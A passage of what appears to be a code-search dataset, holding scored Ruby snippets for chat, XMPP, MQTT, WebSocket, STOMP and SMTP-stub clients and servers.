"text": "def setup\n # return if client && client.setup?\n client.register_handler(:ready) do\n puts \"Connected!\"\n ROSTER << [client.roster.items.keys, Opt.groups].flatten.uniq\n ROSTER.flatten!\n ROSTER.select { |j| j =~ /\\@conference\\./ }.each do |c|\n presence = Blather::Stanza::Presence.new\n presence.to = \"#{c}/#{Opt.hostname}\"\n client.write presence\n end\n\n fetch_pubs\n end\n\n client.register_handler :subscription, :request? do |s|\n if ROSTER.include?(s.from.stripped.to_s)\n puts \"[REQUEST] Approve #{s}\"\n client.write s.approve!\n else\n puts \"[REQUEST] Refuse #{s}\"\n client.write s.refuse!\n end\n end\n\n # client.register_handler :message, :chat?, :body => 'exit' do |m|\n # client.write Blather::Stanza::Message.new(m.from, 'Exiting...')\n # client.close\n # end\n #client.register_handler :roster, [],\n #client.register_handler :message, :error?, :body do |m|\n #client.register_handler :message, :headline?, :body do |m|\n #client.register_handler :message, :normal?, :body do |m|\n client.register_handler :pubsub_affiliations, :affiliations do |m|\n puts \"[PUB] => #{m.inspect}\"\n m.each do |af|\n puts \"[PUB ITEM] => #{af.inspect}\"\n PUBSUB[:pubs] = af[1].map { |p| p.gsub(/\\//, '') }\n end\n end\n\n client.register_handler :pubsub_subscriptions, :subscriptions do |m|\n puts \"[SUB] => #{m.inspect}\"\n m.each do |af|\n puts \"[SUB ITEM] => #{af.inspect}\"\n PUBSUB[:subs] = af[1].map { |p| p[:node].gsub(/\\//, '') }\n end\n end\n\n client.register_handler :pubsub_event, :items do |m|\n puts \"[PUBSUB EV] => #{m.inspect}\"\n alert_peers \"PubSub: #{m.node} #{process_items(m.items)}\"\n end\n\n client.register_handler :pubsub_items, :items do |m|\n puts \"[PUBSUB ITEMS] => #{m.inspect}\"\n alert_peers \"PubSub: #{m.node} #{process_items(m.items)}\"\n end\n\n client.register_handler :disco_items do |r|\n puts \"[ITEM] => #{r}\"\n # Pub.delete_all\n # PubItem.delete_all\n for item in r.items\n puts \"[IT] => #{item.name} on #{item.node.class}\"\n # next if item.name =~ /^home$/\n if item.node =~ /\\//\n puts \"[PUBSUB] => #{item.name} on #{item.node}\"\n alert_peers item.name\n else\n if item.jid.to_s =~ /conference\\./\n puts \"[GROUP] => #{item.name} on #{item.node}\"\n else\n puts \"[USER] => #{item.jid} name #{item.name}\"\n end\n end\n end\n end\n\n client.register_handler :message, :groupchat? do |m|\n if m.body =~ Regexp.new(Opt.hostname)\n body = m.body.split(\":\")[-1].strip\n else\n body = m.body\n end\n if m.body =~ /^!|^>|^\\\\|#{Opt.hostname}/ && m.to_s !~ /x.*:delay/ #delay.nil?\n puts \"[GROUP] => #{m.inspect}\"\n for msg in process_message(m.from.stripped, body, :groupchat)\n client.write msg\n end\n end\n end\n\n client.register_handler :message, :chat?, :body do |m|\n if ROSTER.include?(m.from.stripped.to_s)\n puts \"[PVT] => #{m.inspect}\"\n for msg in process_message(m.from, m.body)\n client.write msg\n end\n end\n end\n\n end",
"title": ""
},
{
"docid": "e7ef9845304be2ba445281d971547994",
"score": "0.57246333",
"text": "def connect!\n EventMachine.run do\n EventMachine::MQTT::ClientConnection.connect(@server) do |c|\n c.subscribe(@topic)\n c.receive_callback do |message|\n handle_incoming_message(message)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "0e12fd4ffc9a63f3c5090a0f4f966f61",
"score": "0.56767446",
"text": "def on_message data\n\t\t# broadcast sends an asynchronous message to all sibling instances, but not to self.\n\t\tdata = ERB::Util.html_escape data\n\t\tbroadcast :_print_out, data\n\t\tresponse << \"You said: #{data}\"\n\t\tresponse << (request.ssl? ? \"FYI: Yes, This is an SSL connection...\" : \"FYI: Nope, this isn't an SSL connection (clear text).\") if data.match /ssl\\?/i\nend",
"title": ""
},
{
"docid": "178f54fdbb6ff8dfd8af911445552c4f",
"score": "0.56660944",
"text": "def subscribe_to_channel; end",
"title": ""
},
{
"docid": "38e6b516d4980b5b2f12801185918f19",
"score": "0.5653493",
"text": "def connect\n if @connected\n block_given? and yield Exception.new 'mailbox has already connected'\n return\n end\n\n begin\n @ws = WebSocket::EventMachine::Client.connect :uri => 'ws://' + @host + ':' + @port.to_s\n @ws.onopen {\n return if @connected\n @connected = true\n @timer = EM.add_periodic_timer(@interval) { flush } if @buffer_msg\n block_given? and yield\n }\n\n @ws.onmessage { |msg, type|\n process_msg msg, type\n }\n\n @ws.onerror { |err| }\n @ws.onclose { |code, reason|\n emit :close, @id\n }\n rescue => err\n block_given? and yield err\n end\n end",
"title": ""
},
{
"docid": "875925807a759adc49168f7fff322e94",
"score": "0.56518",
"text": "def _startConnection()\r\n #puts \"startConnection() called.\"\r\n valid_tag = \"ACCEPT\";\r\n # The client initiates the transaction\r\n mesg = \"CONNECT: WiKID Ruby Client v#{@@VERSION}\"\r\n mesg = \"<transaction> <type>1</type> <data> <client-string>wClient Ruby #{@@VERSION}</client-string> <server-string>null</server-string> <result>null</result> </data> </transaction>\r\n \"\r\n\r\n xml = _request(mesg);\r\n result = XPath.first(xml, '//data/result')\r\n if result == \"ACCEPT\"\r\n #puts \"wClient connection ACCEPTED\"\r\n @isConnected = true\r\n else\r\n #puts \"wClient connection FAILED\"\r\n @isConnected = false\r\n end\r\n return @isConnected\r\n end",
"title": ""
},
{
"docid": "e17199e7407c309876dded1bfb13253f",
"score": "0.56247187",
"text": "def client_connected\n end",
"title": ""
},
{
"docid": "b4f7cf0dfc34bd6b71b44f5d37aef42a",
"score": "0.56194997",
"text": "def handshake\n end",
"title": ""
},
{
"docid": "4ca5fc4f2e08c33fa9a0f4421bc337a5",
"score": "0.5599498",
"text": "def serve( connection )\n connection.puts( \"220 #{@host} MailTrap ready ESTMP\" )\n helo = connection.get_line # whoever they are\n\n if helo =~ /^EHLO\\s+/\n connection.puts \"250-#{@host} offers just ONE extension my pretty\"\n connection.puts \"250 HELP\"\n end\n\n # Accept MAIL FROM:\n from = connection.get_line\n connection.puts( \"250 OK\" )\n\n to_list = []\n\n # Accept RCPT TO: until we see DATA\n loop do\n to = connection.get_line\n break if to.nil?\n\n if to =~ /^DATA/\n connection.puts( \"354 Start your message\" )\n break\n else\n to_list << to\n connection.puts( \"250 OK\" )\n end\n end\n\n # Capture the message body terminated by <CR>.<CR>\n lines = []\n loop do\n line = connection.get_line\n break if line.nil? || line == \".\"\n lines << line\n end\n\n # We expect the client will go away now\n connection.puts( \"250 OK\" )\n connection.gets # Quit\n connection.puts \"221 Seeya\"\n connection.close\n\n write( from, to_list, lines.join( \"\\n\" ) )\n end",
"title": ""
},
{
"docid": "b6cceda40ed29e5a98e1ace6d40f6fb5",
"score": "0.5582681",
"text": "def open\n @thread = Thread.new{ @wamp_client.open }\n end",
"title": ""
},
{
"docid": "0cfad175fbf7add382ac28eeb41d7c00",
"score": "0.5578411",
"text": "def serve( connection )\n connection.puts( \"220 #{@host} MailTrap ready ESTMP\" )\n helo = connection.get_line # whoever they are\n puts \"Helo: #{helo}\"\n \n if helo =~ /^EHLO\\s+/\n puts \"Seen an EHLO\"\n connection.puts \"250-#{@host}\"\n connection.puts \"250 HELP\"\n end\n \n # Accept MAIL FROM:\n from = connection.get_line\n connection.puts( \"250 OK\" )\n puts \"From: #{from}\"\n \n to_list = []\n \n # Accept RCPT TO: until we see DATA\n loop do\n to = connection.get_line\n break if to.nil?\n\n if to =~ /^DATA/\n connection.puts( \"354 Start your message\" )\n break\n else\n puts \"To: #{to}\"\n to_list << to\n connection.puts( \"250 OK\" )\n end\n end\n \n # Capture the message body terminated by <CR>.<CR>\n lines = []\n loop do\n line = connection.get_line\n break if line.nil? || line == \".\"\n lines << line\n puts \"+ #{line}\"\n end\n\n # We expect the client will go away now\n connection.puts( \"250 OK\" )\n connection.gets # Quit\n connection.puts \"221 Seeya\"\n connection.close\n puts \"====================================\"\n\n handle_message( from, to_list, lines.join( \"\\n\" ) )\n \n end",
"title": ""
},
{
"docid": "643397fa909b51ca9f2d5b91034c68d4",
"score": "0.5572532",
"text": "def on_open(client)\n client.subscribe \"chat\"\n # let everyone know we arrived\n client.publish \"chat\", \"#{@name} entered the chat.\"\n end",
"title": ""
},
{
"docid": "382d398f0e377a890e59067bbfe87fac",
"score": "0.5558788",
"text": "def subscribe_frame d, h\n h[:ack] = 'auto' unless ['client', 'client-individual'].include?(h[:ack])\n create_frame 'SUBSCRIBE', [{:id => OnStomp.next_serial}, h, {:destination => d}]\n end",
"title": ""
},
{
"docid": "e0b328276f73f26d4ece76d0d4fe58ff",
"score": "0.5556377",
"text": "def subscribe(&blk)\n pres = connection.presence_stanza('to'=>jid.bare, 'type' => 'subscribe')\n connection.send_stanza pres, &blk\n end",
"title": ""
},
{
"docid": "0f85c3a4f046f67b86d6d58b718888ef",
"score": "0.5553912",
"text": "def serve(connection)\n connection.puts(\"220 #{@host} MailTrap ready ESTMP\")\n helo = connection.get_line # whoever they are\n\n if helo =~ /^EHLO\\s+/\n connection.puts \"250-#{@host} offers just ONE extension my pretty\"\n connection.puts '250 HELP'\n end\n\n # Accept MAIL FROM:\n from = connection.get_line\n connection.puts('250 OK')\n\n to_list = []\n\n # Accept RCPT TO: until we see DATA\n loop do\n to = connection.get_line\n break if to.nil?\n\n if to =~ /^DATA/\n connection.puts('354 Start your message')\n break\n else\n to_list << to\n connection.puts('250 OK')\n end\n end\n\n # Capture the message body terminated by <CR>.<CR>\n lines = []\n loop do\n line = connection.get_line\n break if line.nil? || line == '.'\n lines << line\n end\n\n # We expect the client will go away now\n connection.puts('250 OK')\n connection.gets # Quit\n connection.puts '221 Seeya'\n connection.close\n\n write(from, to_list, lines.join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "5718c41c789ff9575cdcba69c9327eaf",
"score": "0.55456835",
"text": "def em_connect()\n @mutex.synchronize do\n @wscon = WebSocket::EventMachine::Client.connect(:uri => @wsuri)\n end\n @wscon.comm_inactivity_timeout = 60\n\n @wscon.onopen do\n @status = :open\n end\n\n @wscon.onmessage do |data|\n EM.defer do\n packet = JSON.load(data)\n if @status == :open\n if packet.has_key? \"error\"\n LogService.warn \"packet error: #{packet[\"type\"]}, #{packet[\"error\"]}\"\n end\n \n if @callbacks.has_key? packet[\"type\"]\n @callbacks[packet[\"type\"]].each do |c|\n c.call(packet[\"data\"])\n end\n end\n end\n end\n end\n\n @wscon.onclose do |code, reason|\n if @status == :closing\n @status = :closed\n elsif @status == :open || @status == :opening\n @status = :opening\n EM.add_timer(10) do\n em_connect()\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f0b3cf2ac9371c8c55cde45629f60092",
"score": "0.5541748",
"text": "def start\n @client.on :hello do\n puts \"Successfully connected, welcome '#{@client.self.name}' to the '#{@client.team.name}' team at https://#{@client.team.domain}.slack.com.\"\n end\n @client.on :close do |_data|\n puts \"Client is about to disconnect\"\n end\n @client.on :closed do |_data|\n puts \"Client has disconnected successfully!\"\n end\n\n @client.on :message do |data|\n message = data.text\n bot_id = @client.self.id\n if self.needs_help?(message, bot_id)\n @client.message channel: data.channel, text: self.respond_help\n else\n symbol_doc = self.read(message, bot_id)\n if self.must_respond?(symbol_doc)\n if symbol_doc.success\n @client.message channel: data.channel, text: self.respond_ok(symbol_doc)\n else\n if message.split.count > 1\n @client.message channel: data.channel, text: self.respond_error(symbol_doc)\n end\n end\n end\n end\n end\n\n @client.start!\n end",
"title": ""
},
{
"docid": "99eddda796370b277172abd21a5f62a0",
"score": "0.5527193",
"text": "def play_prog(room_name,msg)\n begin\n @client\n @muc\n\n server = \"jabber.example.com\"\n zid = rand(9999)\n\n @client = Client.new(\"#{server}/#{zid}\")\n# Jabber::debug = true\n @client.connect\n puts @client.supports_anonymous?\n @client.auth_anonymous_sasl\n\n\n @muc = MUC::SimpleMUCClient.new(@client)\n puts \"#{room_name}@conference.#{server}/#{zid}\"\n @muc.join(Jabber::JID.new(\"#{room_name}@conference.#{server}/#{zid}\"))\n\n## tell the tv about the thing\n\n @muc.send(Jabber::Message.new(\"#{room_name}@conference.#{server}/#{zid}\",msg))\n @client.close()\n rescue Exception=>e\n puts e\n puts e.backtrace\n end\n end",
"title": ""
},
{
"docid": "f4a0c867d33fd4632057513fdcdde858",
"score": "0.5523325",
"text": "def post_init\n self.dispatch_event(:on_connect, [self])\n self.send_data(SyncMessage.new($listen_port, $uuid).to_sendable)\n end",
"title": ""
},
{
"docid": "34a7471b52fe4b656109f580a6afeb44",
"score": "0.5514656",
"text": "def connect\n self.send({\n msg: :connect,\n version: @version,\n support: @support\n })\n\n #handle incoming response form the server\n self.onmessage = lambda do |event|\n\n res = JSON.parse(event.data)\n\n if res.has_key? 'session'\n #connection is successful - update session and record version\n @session = res['session'].to_s\n @@last_suc_version = @version\n\n else #there was a failed connection\n @version = res['version']\n #retry the send request with the version specified by the server\n self.send({\n msg: :connect\n version: @version,\n support: @support\n })\n end\n\n end\n end",
"title": ""
},
{
"docid": "6ad201e143a654df0e0cb4e7ec6c5ea7",
"score": "0.5509465",
"text": "def make_websocket\n require 'em-websocket'\n require 'sanitize'\n\nsoc = []\n\n\n\nEM::WebSocket.start(host: '10.20.4.130' , port: 4000) do |ws|\n\n ws.onopen{soc << ws;puts \"#{soc.length} clients present\";}\n ws.onmessage { |msg| ; soc.each do |s| \n msg = Sanitize.clean(msg.html_safe , :elements => %w(font) , :attributes => {'font' => ['color']})\n\t\t\t\ts.send(\"#{msg}\")\n\t\t\t\tend ; $redis.LPUSH 'msg', \"#{msg}\" }\n ws.onclose {puts \"Someone dissconected \" ; soc.delete(ws)}\n end\n end",
"title": ""
},
{
"docid": "b1c22c1cae6dadfa9467ecc13b66d771",
"score": "0.55061173",
"text": "def talkback(server,msg)\n @connector.write(server,msg,true,\n Connector::WRITE_PRIORITY_NONE)\n end",
"title": ""
},
{
"docid": "feea89567abedebc2804d236677709f1",
"score": "0.549611",
"text": "def index\n\t\t\t\"This stub controller is used to test websockets.\\n\\r\\n\\rVisit http://www.websocket.org/echo.html for WS testing.\\n\\r\\n\\rOr add a nickname to the route to view long-pulling stub. i.e.: #{request.base_url}/nickname\"\n\t\tend",
"title": ""
},
{
"docid": "06cf43e18a068a9ffa1d2f136420a95f",
"score": "0.5479213",
"text": "def start\n uri = URI.parse(\"ws://#{host}\")\n scheme = uri.port == 443 ? 'wss' : 'ws'\n @socket = Faye::WebSocket::Client.new(\"#{scheme}://#{uri.host}\")\n @socket.onopen = lambda {|event| on_open(event)}\n @socket.onclose = lambda {|event| on_close(event)}\n @socket.onmessage = lambda {|event| on_message(event)}\n true\n end",
"title": ""
},
{
"docid": "43afd9faa5e6c3134f5b6826ad353bff",
"score": "0.54757",
"text": "def start(data = nil, *)\n response = from ? I18n.t(:welcome, username: from['username']) : 'Здарова!'\n respond_with :message, text: response\n end",
"title": ""
},
{
"docid": "b471cfe6dd23ffafc31f9c250ed99a32",
"score": "0.5470571",
"text": "def on_open\n\n # Must pass a nickname\n if params[:name].nil?\n response << {event: :error, from: :system, at: Time.now, message: \"Error: cannot connect without a nickname!\"}.to_json\n response.close\n return false\n end\n\n # Can't use admin nicknames\n message = {from: '', at: Time.now}\n name = params[:name]\n if (name.downcase.match(/admin|admn|system|sys|administrator/i))\n message[:event] = :error\n message[:message] = \"The nickname '#{name}' is already taken.\"\n response << message.to_json\n params[:name] = false\n response.close\n return\n end\n\n # Welcome user to chat\n message = {from: '', at: Time.now}\n message[:event] = :chat\n response << message.to_json\n message[:message] = \"#{params[:name]} joined the chatroom.\"\n broadcast :_send_message, message.to_json\n # Explain who is here or if your the first one here\n #message[:message] = list.empty? ? \"You're the first one here.\" : \"#{list[0..-2].join(', ')} #{list[1] ? 'and' : ''} #{list.last} #{list[1] ? 'are' : 'is'} already in the chatroom\"\n end",
"title": ""
},
{
"docid": "7cfd0a9d83dfdcfe0e24166db9377597",
"score": "0.54660267",
"text": "def open(event)\n Firehose.logger.debug \"WebSocket subscribed to `#{@req.path}`. Waiting for message_sequence...\"\n end",
"title": ""
},
{
"docid": "0511b2d003a712212920044753e731ff",
"score": "0.54468644",
"text": "def test_conn_1p_0040\n @conn.disconnect\n #\n cha = get_conn_headers() \n cha[\"heart-beat\"] = \"0,0\" # No heartbeats\n conn = nil\n assert_nothing_raised do\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, cha)\n conn.disconnect\n end\n assert conn.protocol >= Stomp::SPL_11\n end",
"title": ""
},
{
"docid": "a555513ac65b8e18a5c82d50ef71b2ae",
"score": "0.543867",
"text": "def subscribe(*args, &blk)\n (@client ||= connect).subscribe(*args, &blk)\n end",
"title": ""
},
{
"docid": "4428bae321c79a1dee5501f733a6c179",
"score": "0.5436153",
"text": "def connect(retry_count = 0)\n if retry_count > 20\n raise \"Max connection attempts reached\"\n end\n\n if retry_count > 0\n puts \"Connecting in #{retry_count} seconds\"\n sleep(retry_count)\n end\n\n puts \"Opening websocket connection\"\n ws = WebSocket::EventMachine::Client.connect(:uri => WEBSOCKET_URI)\n\n ws.onopen do\n puts \"Connected\"\n retry_count = 0\n ws.send(JSON.generate({action: 'authenticate', credentials: authorization}))\n end\n\n ws.onmessage do |msg, type|\n puts \"Received message: #{msg}\"\n event = JSON.parse(msg)\n\n case event['name']\n when 'check-domain'\n # Normally this is the part where we'd check the domain name at the specific\n # registry to see if it is available. Sleep for 1 second to simulate.\n sleep(1)\n\n results = event['data'].map do |domain_name|\n {name: domain_name, availability: 'available'}\n end\n\n message = JSON.generate({name: 'check-domain-completed', data: results, context: event['context']})\n deliver(message)\n when 'register-domain'\n received_data = event['data']\n\n # Normally this is the part where we'd register the domain name at the specific\n # registry. Sleep for 2 seconds to simulate.\n sleep(2)\n\n results = {\n name: received_data['name'],\n registered: true,\n expiration: (Date.today + 365).rfc3339\n }\n\n message = JSON.generate({name: 'register-domain-completed', data: results, context: event['context']})\n deliver(message)\n end\n end\n\n ws.onclose do |code, reason|\n puts \"Disconnected with status code: #{code}\"\n connect(retry_count + 1)\n end\nend",
"title": ""
},
{
"docid": "90f0c94c97cee9209ae65f1b063a48d6",
"score": "0.5435233",
"text": "def on_connected\n end",
"title": ""
},
{
"docid": "dd677a37aa0429cf651b8fa24b7f6b61",
"score": "0.542845",
"text": "def partner\n @chat_win = ChatWindow.find\n lclick_at(@partner_tab)\n sleep 1\n loop do\n cmd = wait_for_cmd\n if cmd\n response = eval cmd\n @chat_win.say \"#{ACK}#{response}\" \n end\n sleep 1\n end\n end",
"title": ""
},
{
"docid": "1da5354f2fb4323e1ffaf0b32c4fe60e",
"score": "0.5426385",
"text": "def on_welcome(connection, user, text)\n end",
"title": ""
},
{
"docid": "2c7e6a878b504812f2a4b9733c4e5b17",
"score": "0.54261595",
"text": "def run\n AMQP.start(:host => \"localhost\") {\n @mq = MQ.new\n @update_channel = EM::Channel.new\n @deferred_responses = {}\n\n @queue_name = \"cmdr:websocket:#{self.object_id}\"\n @queue = @mq.queue(@queue_name)\n \n # watch for responses from devices\n @queue.subscribe{|json|\n msg = JSON.parse(json)\n puts \"Got response: #{msg}\"\n if @deferred_responses[msg[\"id\"]]\n @deferred_responses.delete(msg[\"id\"]).succeed(msg)\n end\n }\n\n topic = @mq.topic(EVENT_TOPIC)\n @mq.queue(\"cmdr:websocket:#{self.object_id}:response\").bind(topic, :key => \"device.*\").subscribe do |json|\n handle_event json\n end\n\n setup\n\n EM::WebSocket.start({\n :host => \"0.0.0.0\",\n :port => 8000,\n :debug => false\n #:secure => true \n }) do |ws|\n\n ws.onopen { onopen ws }\n \n ws.onmessage {|json| onmessage ws, json}\n \n ws.onclose do\n @update_channel.unsubscribe(@sid) if @sid\n DaemonKit.logger.debug \"Connection on #{ws.signature} closed\"\n end\n\n ws.onerror do\n DaemonKit.logger.debug \"Error on #{ws.signature}\"\n end\n end\n }\n end",
"title": ""
},
{
"docid": "4dc13ae05820c1eeee04b84d73f4aef7",
"score": "0.5424793",
"text": "def connect client_id, host, port, &block\n @client_id = client_id\n @ws = WebSocket::EventMachine::Client.connect :uri => 'ws://' + host + ':' + port.to_s\n @ws.onopen {\n @state = :state_connected\n @password = Utils.md5 @password if @md5\n @ws.send ['register', {\n :type => 'client',\n :client_id => @client_id,\n :username => @username,\n :password => @password,\n :md5 => @md5\n }].to_json\n }\n @ws.onmessage { |msg, type|\n begin\n event, msg = parse msg\n case event\n when 'register'\n process_register_msg msg, &block\n when 'client'\n process_client_msg msg\n else\n end\n rescue => err\n end\n }\n @ws.onclose { |code, reason|\n @state = :state_closed\n emit 'close'\n }\n @ws.onerror { |err|\n if @state == :state_inited\n block_given? and yield err\n end\n emit 'error', err\n }\n end",
"title": ""
},
{
"docid": "b48973099c44e2141f3f9612d2df22a7",
"score": "0.54006803",
"text": "def ping(&blk)\n if block_given?\n websocket.subscribe :ping, &blk\n else\n http.get :ping\n end\n end",
"title": ""
},
{
"docid": "d6652dc4e163744e8f49996efa4dcbda",
"score": "0.53956026",
"text": "def start\n @quit = nil\n @socket = self.connect()\n self.on_message(/^PING/) { |event|\n self.send_raw_line(\"PING \"+event[:matchdata].post_match)\n }\n self.on_server_message(353) { |event|\n }\n self.on_server_message(376) do |event|\n if @password and !@authenticated then\n self.message 'NickServ', \"IDENTIFY #{@password}\"\n @authenticated = true\n end\n @channels.each { |channel|\n if channel.kind_of? Hash then\n self.send_raw_line(\"JOIN \"+channel.keys.first+\" \"+channel.values.first)\n else\n self.send_raw_line(\"JOIN \"+channel)\n end\n }\n end\n \n self.send_raw_line(\"USER \"+@nickname+\" \"+@nickname+\" \"+@nickname+\" \"+@nickname)\n self.send_raw_line(\"NICK \"+@nickname)\n begin\n while line = @socket.gets\n handle_raw_line(line) \n end\n rescue IOError => ioe\n raise ioe unless @quit\n end\n end",
"title": ""
},
{
"docid": "47de39da3e30bffac745c34477e702bf",
"score": "0.537587",
"text": "def connect\n\t\t# create a jabber client connection\n\t\t@jabberclient.connect( JABBER_SERVER, JABBER_PORT );\n\t\t@jabberclient.auth(JABBER_PASSWD)\n\n\t\t@jabberclient.send(Jabber::Presence.new(:chat, 'Birdbox is waiting since ' + Time.now.to_s))\n\n\t\t@jabberchatroom = Jabber::MUC::MUCClient.new(@jabberclient)\n\t\t@jabberchatroom.join(Jabber::JID::new( JABBER_CHATROOM + '/' + @jabberclient.jid.node))\n\n\t\t# create a new message object which will be used later on\n\t\t@jabbermsg = Jabber::Message.new( JABBER_TO );\n\t\t@jabbermsg.type = :chat\n\t\t@jabberReconnect = false\n\t\t@jabberRetryMessage = ''\n\tend",
"title": ""
},
{
"docid": "9599824171e8686d001aee46203a713d",
"score": "0.53489584",
"text": "def test_conn_1p_0124\n dest = make_destination\n msg = \"payload: #{Time.now.to_f}\"\n shdrs = { \"key1\" => \"val1\", \"key2\" => \"val2\",\n \"key3\" => [\"kv3\", \"kv2\", \"kv1\"] }\n assert_nothing_raised {\n @conn.publish dest, msg, shdrs\n }\n #\n sid = @conn.uuid()\n @conn.subscribe dest, :id => sid\n #\n received = @conn.receive\n assert_equal msg, received.body\n if @conn.protocol != Stomp::SPL_10\n assert_equal shdrs[\"key3\"], received.headers[\"key3\"] unless ENV['STOMP_RABBIT'] || ENV['STOMP_AMQ11']\n else\n assert_equal \"kv3\", received.headers[\"key3\"]\n end\n #\n @conn.unsubscribe dest, :id => sid\n end",
"title": ""
},
{
"docid": "cb583ce156853947a7b04862e7ffbd1d",
"score": "0.5333444",
"text": "def test_conn_1p_0010\n @conn.disconnect\n #\n cha = {:host => \"localhost\"}\n assert_raise Stomp::Error::ProtocolErrorConnect do\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, cha)\n end \n #\n chb = {\"accept-version\" => \"1.0\"}\n assert_raise Stomp::Error::ProtocolErrorConnect do\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, chb)\n end \n end",
"title": ""
},
{
"docid": "e2ef6e16b6ac65d1e377236fdfa9dc8e",
"score": "0.5332209",
"text": "def welcome\n puts message_list[:welcome]\n # help\n end",
"title": ""
},
{
"docid": "2179203039b26ae55be385b847fb1b29",
"score": "0.5330212",
"text": "def startWss(callback_opts) do\n server = TCPServer.new @port\n while session = server.accept\n @implementation(session.gets)\n end\n end",
"title": ""
},
{
"docid": "fff3d2dc5ecaca800674ef75ec068bf1",
"score": "0.532873",
"text": "def subscribe!\n # TODO: Implement\n end",
"title": ""
},
{
"docid": "967a21d10c6e507cb5e32c4332d18bf1",
"score": "0.53273576",
"text": "def speak_into(msg)\n require 'net/http'\n channel = \"/0001\"\n\n message = {:channel => channel, :data => msg}\n uri = URI.parse(\"http://localhost:#{FAYE_PORT}/faye\")\n begin\n Net::HTTP.post_form(uri, :message => message.to_json)\n rescue Exception => e\n $stderr.puts \"failed to send message to faye server and thus webclient\"\n $stderr.puts e.message\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "5ad592a67bd660bfbfb56ed10f0cda53",
"score": "0.53237087",
"text": "def subscribe(args)\n ## Capture User Input\n channel = args['channel']\n callback = args['callback']\n\n ## Fail if missing channel\n if !channel\n puts \"Missing Channel.\"\n return false\n end\n\n ## Fail if missing callback\n if !callback\n puts \"Missing Callback.\"\n return false\n end\n\n ## Begin Subscribe\n loop do\n begin\n timetoken = args['timetoken'] ? args['timetoken'] : 0\n\n ## Wait for Message\n response = _request([\n 'subscribe',\n @subscribe_key,\n channel,\n '0',\n timetoken.to_s\n ])\n\n messages = response[0]\n args['timetoken'] = response[1]\n\n ## If it was a timeout\n next if !messages.length\n\n ## Run user Callback and Reconnect if user permits.\n ## Capture the message and encrypt it\n if @cipher_key.length > 0\n pc = PubnubCrypto.new(@cipher_key)\n messages.each do |message|\n if message.is_a? Array\n message=pc.decryptArray(message)\n else\n message=pc.decryptObject(message)\n end\n if !callback.call(message)\n return\n end\n end\n else\n messages.each do |message|\n if !callback.call(message)\n return\n end\n end\n end\n rescue Timeout::Error\n rescue\n sleep(1)\n end\n end\n end",
"title": ""
},
{
"docid": "c2eb0c4ab52b9d23b98b33a03b79ad3c",
"score": "0.5321948",
"text": "def request!\n self.type = :subscribe\n reply_if_needed!\n end",
"title": ""
},
{
"docid": "77b5f908b4f70cc1f839dcf20f415be1",
"score": "0.53032506",
"text": "def subscribed\n \t#stream_from 'demo_chan'\n end",
"title": ""
},
{
"docid": "4a232e3a094d8af633a83516500607b6",
"score": "0.53016615",
"text": "def listen\n connect do\n routes.each do |route|\n @client.subscribe(route) do |args|\n run(route, args)\n end\n end\n \n loop do\n sleep 1\n end\n end\n end",
"title": ""
},
{
"docid": "346aff5c8199277f524d5338234f6b57",
"score": "0.53010213",
"text": "def subscribe\n Socky.send( {:action => \"subscribe\",\n :channel => params[:channel],\n :client => (params[:client_id] || '')}.to_json)\n render :text => \"ok\"\n end",
"title": ""
},
{
"docid": "0ef0261741a23f03ecd0ab7245fa2c17",
"score": "0.5294368",
"text": "def subscribe(prefix)\n setsockopt :subscribe, prefix\n end",
"title": ""
},
{
"docid": "0c6288049454da8d0fd2758c438e4131",
"score": "0.52846557",
"text": "def do_subscribe(params)\n mode = params['hub.mode']\n callback = params['hub.callback']\n topic = params['hub.topic']\n verify = params['hub.verify']\n vtoken = params['hub.verify_token']\n \n content_type 'text/plain', :charset => 'utf-8'\n unless callback and topic and verify\n throw :halt, [400, \"Bad request: Expected 'hub.callback', 'hub.topic', and 'hub.verify'\"]\n end\n throw :halt, [400, \"Bad request: Empty 'hub.callback' or 'hub.topic'\"] if (callback.empty? or topic.empty?)\n # anchor part in the url not allowed by the spec\n throw :halt, [400, \"Bad request: Invalid URL\"] if (callback.include?('#') or topic.include?('#'))\n \n throw :halt, [400, \"Bad request: Unrecognized mode\"] unless ['subscribe', 'unsubscribe'].include?(mode)\n\n # Processing optional secret\n secret = params['hub.secret'] ? params['hub.secret'] : ''\n \n # remove invalid verify modes \n verify = Array(verify.split(',')).delete_if { |x| not ['sync','async'].include?(x) }\n throw :halt, [400, \"Bad request: Unrecognized verification mode\"] if verify.empty?\n # For now, only using the first preference of verify mode\n verify = verify[0]\n #throw :halt, [400, \"Bad request: Unrecognized verification mode\"] unless ['sync', 'async'].include?(verify)\n begin\n hash = Topic.to_hash(topic)\n tp = DB[:topics].filter(:url => hash).first\n throw :halt, [404, \"Not Found\"] unless tp[:id]\n \n state = (verify == 'async') ? 1 : 0\n query = { 'hub.mode' => mode,\n 'hub.topic' => topic,\n 'hub.lease_seconds' => 0, # still no subscription refreshing support\n 'hub.challenge' => gen_id}\n query['hub.verify_token'] = vtoken if vtoken\n if verify == 'sync'\n MyTimer.timeout(Config::GIVEUP) do\n res = HTTPClient.get_content(callback, query)\n opts = \"m=#{mode} c=#{callback} t=#{topic} v=#{verify} -> res=#{res.inspect}\"\n raise \"do_verify(#{opts})\" unless res and res == query['hub.challenge']\n end\n state = 0\n end\n \n # Add subscription\n # subscribe/unsubscribe to/from ALL channels with that topic\n cb = DB[:subscriptions].filter(:topic_id => tp[:id], :callback => Topic.to_hash(callback))\n cb.delete if (mode == 'unsubscribe' or cb.first)\n if mode == 'subscribe'\n raise \"DB insert failed\" unless DB[:subscriptions] << {\n :topic_id => tp[:id], :callback => Topic.to_hash(callback), \n :vtoken => vtoken, :vmode => verify, :secret => secret, :state => state }\n end\n throw :halt, verify == 'async' ? [202, \"202 Scheduled for verification\"] : \n [204, \"204 No Content\"]\n rescue Exception => e\n throw :halt, [409, \"Subscription verification failed: #{e.to_s}\"]\n end\n end",
"title": ""
},
{
"docid": "c0312be3825cd2412363e2ba5db26b8d",
"score": "0.5269317",
